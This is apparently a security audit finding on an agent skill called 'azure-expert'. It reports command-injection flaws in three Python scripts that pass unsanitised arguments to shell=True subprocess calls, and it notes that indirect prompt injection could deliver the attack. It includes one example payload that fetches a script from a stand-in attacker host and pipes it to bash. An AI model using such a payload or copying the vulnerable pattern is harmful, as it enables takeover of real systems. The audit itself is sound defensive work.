The Agent Skills Directory

[COMMAND_EXECUTION] (HIGH): Multiple scripts utilize unsafe shell execution patterns that are vulnerable to command injection.
Evidence in scripts/cost_analyzer.py: The resource_group argument from argparse is interpolated into a command string: cmd += f" --resource-group {resource_group}" and then executed via subprocess.run(f"az {cmd}", shell=True).
Evidence in scripts/deploy_webapp.py: The script constructs deployment commands using f-strings, such as run_command(f"az group create --name {resource_group} --location {location}"). Because shell=True is used in the run_command helper, shell metacharacters in the arguments will be interpreted.
Evidence in scripts/resource_status.py: Functions like check_webapp_status pass the name and resource_group arguments directly into shell commands: run_az_command(f"webapp show --name {name} --resource-group {resource_group}").
Risk: A malicious user or an indirect prompt injection attack could provide an argument like "my-rg; curl http://attacker.com/shell.sh | bash" to gain full control of the execution environment.

azure-expert